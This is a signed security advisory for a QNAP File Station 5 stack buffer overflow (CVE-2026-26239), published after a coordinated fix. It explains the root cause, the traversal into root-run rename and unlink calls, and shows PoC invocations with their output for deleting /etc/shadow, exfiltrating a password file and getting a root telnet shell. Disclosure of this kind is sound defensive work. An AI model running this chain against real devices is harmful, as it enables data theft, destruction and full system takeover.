-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA512 Advisory ID: SYSS-2026-013 Product: QNAP File Station 5 Manufacturer: QNAP Systems, Inc. Affected Version(s): < 5.5.6.5208 Tested Version(s): 5.2.8.3359 Vulnerability Type: Stack-based Buffer Overflow (CWE-121) Risk Level: High Solution Status: Fixed Manufacturer Notification: 2026-03-02 Solution Date: 2026-04-15 Public Disclosure: 2026-07-22 CVE Reference: CVE-2026-26239 Author of Advisory: Moritz Abrell, SySS GmbH ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Overview: QTS is the operating system used on QNAP NAS devices and includes the File Station 5 application. A stack-based buffer overflow exists in utilRequest.cgi in combination with libuLinux_cgi.so, originating from a fixed buffer size and a strcpy() of user-controlled data. This can be exploited by any low-privileged user with write access to at least one directory within the FileManager, e.g. the user's "home" directory. The user-supplied multipart/form-data parameter "filename" is copied into a fixed 256-byte stack buffer via strcpy(), overflowing the buffer and adjacent stack objects. Further exploitation allows manipulating adjacent stack variables, e.g. the "upload-ID", which is later used in rename and unlink operations executed with root privileges. This results in arbitrary file read on the same filesystem, arbitrary file delete on the whole QNAP system, and ultimately remote code execution. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Vulnerability Details: The GET parameter "func=upload_and_move" calls a function in utilRequest.cgi, which allows users to upload files to their writable locations on the NAS through the FileManager. For the multipart/form-data parameter "filename", a fixed buffer of 256 bytes is allocated on the stack (char local_filename_buf[256]). Later, the function "WFM2_CGI_Upload_EX", imported from the shared object libuLinux_cgi.so.0, is called with this buffer. This imported function calls another function internally, which does the following: pcVar16 = (char *)parser_upload_filename(local_filename_buf); strcpy(local_filename_buf,pcVar16); The function "parser_upload_filename()" sanitizes the user-supplied filename by looking for the last "/" or "\" character and returning a pointer to the actual filename. However, this does not affect the following strcpy(), since the filename can still be valid and contain an attacker-controlled amount of data, e.g. "A"*256. This results in overflowing the fixed buffer if the filename length is ≥ 256 bytes. Further exploitation: utilRequest.cgi is protected by ASLR, NX, and stack canaries. Furthermore, the stack canaries are generated starting with a NULL byte, which prevents functions such as strcpy() from overwriting the canary, even if the correct value is known. However, all stack objects up to the canary can be manipulated by this overflow. The adjacent stack object is a 272-byte buffer containing the "Upload-ID", securely generated by the imported function "CGI_Get_Upload_ID". This Upload-ID is used as a temporary file for the upload operation and later moved to the user's destination directory. An attacker can overwrite this buffer with a relative path, e.g. "../../../../../etc/shadow". Subsequently, this attacker-controlled path is used as is, as the source in a rename() or unlink syscall operation, where the process has already switched to root (BECOME_ROOT()). As a result, the target file is moved to the attacker-controlled directory. Moreover, the file permissions are changed (chmod(file, 0700)), allowing the attacker to read and write the moved file in his writable directory. Since rename() allows moving files only on the same filesystem, only files on the same filesystem can be moved. However, the error-handler in utilRequest.cgi looks as follows: int result = rename(src_path, dest_path); if (result != 0) { unlink_syscall(src_path); } Therefore, if rename() fails, the attacker-supplied path is deleted, resulting in an arbitrary file delete. If the source file is located on the same filesystem, rename() succeeds and the file is moved to the attacker's directory. However, the correct file size must be known for the rename() operation to be performed. Otherwise, the file will simply be deleted. To read files with unknown filesize, the whole directory of the file can be moved using this vulnerability. Afterward, a "copy-job" can be initiated, leaking the filename and filesize in the job log of the user. With this information leak, the attacker can then move the file with the correct filesize afterward. Also, this results in arbitrary file read on the same filesystem even if the size of the source file is not known. By deleting specific configuration files or the login executable "/bin/naslogin", this can be further exploited to gain root access on the system (remote code execution (RCE)). For example, deleting "/bin/naslogin" forces the utelnetd daemon to fall back to "/bin/sh" as the login binary, granting root access to the system. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Proof of Concept (PoC): Proof-of-concept tools were developed to exploit this vulnerability. 1. Arbitrary file delete: a. Verifying the existence of a file on the NAS (with root access): [~] # ls -la /etc/shadow -rw-r----- 1 admin administrators 988 2026-03-02 10:48 /etc/shadow b. Using the PoC to delete /etc/shadow with a low-privileged user: $ python3 poc_move.py 192.168.1.200:8080 -u viewer -p viewer1234 -s /viewer -t /etc/shadow -z 0 [*] QNAP FileStation Arbitrary File Move PoC [*] Mode: MOVE (filesize=0) [*] Target: http://192.168.1.200:8080 [*] Path: /etc/shadow [!] WARNING: Target is not on /share/CACHEDEV1_DATA [!] rename() will fail with EXDEV; file will be DELETED instead of moved! [?] Continue anyway? (y/N): y [+] Authenticated as 'viewer' (isAdmin=0, sid=rcr6qljy) [*] Sending exploit request... [*] Response: 200 [*] Body: { "status": 7, "size": "0" } [-] status=7: filesize mismatch; file was DELETED c. Verifying the deletion on the NAS (with root access): [~] # ls -la /etc/shadow /bin/ls: cannot access /etc/shadow: No such file or directory 2. Arbitrary file read on the same filesystem without knowing the source filesize: a. Moving the "admin" directory (not accessible by user viewer) containing a file with unknown size: $ python3 poc_exfil.py 192.168.1.200:8080 -u viewer -p viewer1234 -s /viewer -t /share/CACHEDEV1_DATA/admin [*] QNAP FileStation Arbitrary File Exfiltration PoC [*] Target: http://192.168.1.200:8080 [*] Directory: /share/CACHEDEV1_DATA/admin [+] Authenticated as 'viewer' (isAdmin=0, sid=2v3wxdux) [*] === Step 1: Move directory into share === [*] Source: /share/CACHEDEV1_DATA/admin [*] Destination: /viewer/admin [*] Response: 200 [*] Body: { "status": 1, "size": "0" } [+] Directory should now be at /viewer/admin [*] === Step 2: Leak file info via copy-job error === [*] Starting copy job for /viewer/admin... [*] Copy job response: 200 { "status": 1, "pid": 23627 } [*] Waiting for copy job to complete... [*] daemon_list response: [*] Raw: { "total": 4, "datas": [ { "pid": 23627, "type": 11, "from": "/viewer", "from_name": "/viewer", "to": "/viewer", "to_name": "/viewer", "tsize": "26", "tnum": "1", "csize": "0", "cnum": "0", "filename": "passwordlist.txt", "filepath": "/viewer/admin", "rest_sec": -1, "copying": 4, "percent": "99.9", "user": "viewer", "start_time": 1772456490, "start_time_str": "2026/03/02 13:01:30", [+] Leaked info: filename = 'passwordlist.txt' tsize = 26 tnum = 1 err_code = 46 [+] tnum=1; single file in directory, tsize is the exact filesize [*] === Step 3: Move file into share root === [*] Source: /share/CACHEDEV1_DATA/viewer/admin/passwordlist.txt [*] filesize=26 [*] Response: 200 [*] Body: { "status": 1, "size": "26" } [+] File moved to /viewer/passwordlist.txt [*] === Step 4: Read passwordlist.txt via get_viewer === [*] Response: 200 [+] File content: --- BEGIN --- admin:supersecretpassword --- END --- b. Afterward, the file passwordlist.txt is accessible in the viewer's directory. 3. RCE example on a QNAP where telnet is enabled: a. Deleting /bin/naslogin: $ python3 poc_move.py 192.168.1.200:8080 -u viewer -p viewer1234 -s /viewer -t /bin/naslogin -z 0 [*] QNAP FileStation Arbitrary File Move PoC [*] Mode: MOVE (filesize=0) [*] Target: http://192.168.1.200:8080 [*] Path: /bin/naslogin [!] WARNING: Target is not on /share/CACHEDEV1_DATA [!] rename() will fail with EXDEV; file will be DELETED instead of moved! [?] Continue anyway? (y/N): y [+] Authenticated as 'viewer' (isAdmin=0, sid=0nmcjexi) [*] Sending exploit request... [*] Response: 200 [*] Body: { "status": 7, "size": "0" } [-] status=7: filesize mismatch; file was DELETED b. Waiting for utelnetd or system restart c. Logging in as root without password: $ telnet 192.168.1.200 Trying 192.168.1.200... Connected to 192.168.1.200. Escape character is '^]'. sh-3.2# id uid=0(admin) gid=0(administrators) sh-3.2# uname -a Linux NAS90AB1F 5.10.60-qnap #1 SMP Thu Dec 25 05:46:37 CST 2025 x86_64 GNU/Linux sh-3.2# *Note*: This is just an example RCE scenario ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Solution: Update to version 5.5.6.5243 or later (see [4] and [5]). ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclosure Timeline: 2026-02-25: Vulnerability discovered 2026-03-02: Vulnerability reported to the manufacturer 2026-03-05: Vulnerability confirmed by the manufacturer 2026-04-15: Fixed version published by the manufacturer (see [4]) 2026-06-10: Security advisory published by the manufacturer (see [5]) 2026-07-22: Public disclosure ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ References: [1] QNAP QTS product page https://www.qnap.com/en/operating-system/qts [2] SySS Security Advisory SYSS-2026-013 https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2026-013.txt [3] SySS Responsible Disclosure Policy https://www.syss.de/en/responsible-disclosure-policy [4] File Station 5 Relase Notes: https://www.qnap.com/en/app-release-notes?app=FileStation5&product-line=nas [5] Manufacturer Security Advisory: https://www.qnap.com/uploads/security-advisories/QSA-26-10/CVE-2026-26239.json ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Credits: This security vulnerability was found by Moritz Abrell of SySS GmbH. E-Mail: moritz.abrell@syss.de Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Moritz_Abrell.asc Key Fingerprint: 2927 7EB6 1A20 0679 79E9 87E6 AE0C 9BF8 F134 8B53 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Disclaimer: The information provided in this security advisory is provided "as is" and without warranty of any kind. Details of this security advisory may be updated in order to provide as accurate information as possible. The latest version of this security advisory should be published by the author. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Copyright: Creative Commons - Attribution (by) - Version 4.0 URL: https://creativecommons.org/licenses/by/4.0/deed.en -----BEGIN PGP SIGNATURE----- iQIzBAEBCgAdFiEEKSd+thogBnl56Yfmrgyb+PE0i1MFAmpY5UIACgkQrgyb+PE0 i1Ny1BAAr30B5/YbdMRBL9H5ls/VGdz50y/4R8sY1t1mEZk6M8/oXW+Gz2EEGuOq riC3HrsPh4E1fysUsuscQdbMmZSwIbpuHLMXVIyD5lM7j5Ya4UIJ2CI/xhGFcqSL nk74TPcSz6aCevJ1HhZtnBHmR8f+Frsd1AVoMadeMZL3dnw0ZNdus536+ssQjvS4 XISnHqYHa5SvqonmG457AN0Q+QkxO7TvoOuRvzbKTC9NFVMRsPrrl8VdFY2L5lk+ KJ4sDM9E63ekvOb8OgTzVLjwn1C2KR2E2ASns/7YcuEVCz7yOUGnH8ewO62QsMLB 2e777OMwm01GNo9SLYKqFCOuPRrahhVhF/GBEzN8MAlPTm2korVbkgg0a+iIYXeV jPxSWJnhaLqD2ETNixbdu+2pJQ9quZddZ+nNRJDGV4mP/kPJqXvV+CekI+U+Exyv 364Ss8QEtn6JZ7jY7f4v3OKWXxkE6rvBDMhImQmwpFqPa5uqrnGy2Sn2bJWQP2S4 +yruylM6BRyPV/v0jyaWcuUWtsqxyyOk3JjtAKFxbP7P0h1Q4uG8YVwBnrawFQPR hVOJX0rEBAIhnjNo1FZjhiSo58Me5uDzxexGa9i/Gl8e0a/AsZdSiM77ENatXhqF MyaMPZTZ0t3UtQBoI3iBhuTTnCRMhIB3iblGiMmtXkuvvgo0d+8= =Ix89 -----END PGP SIGNATURE-----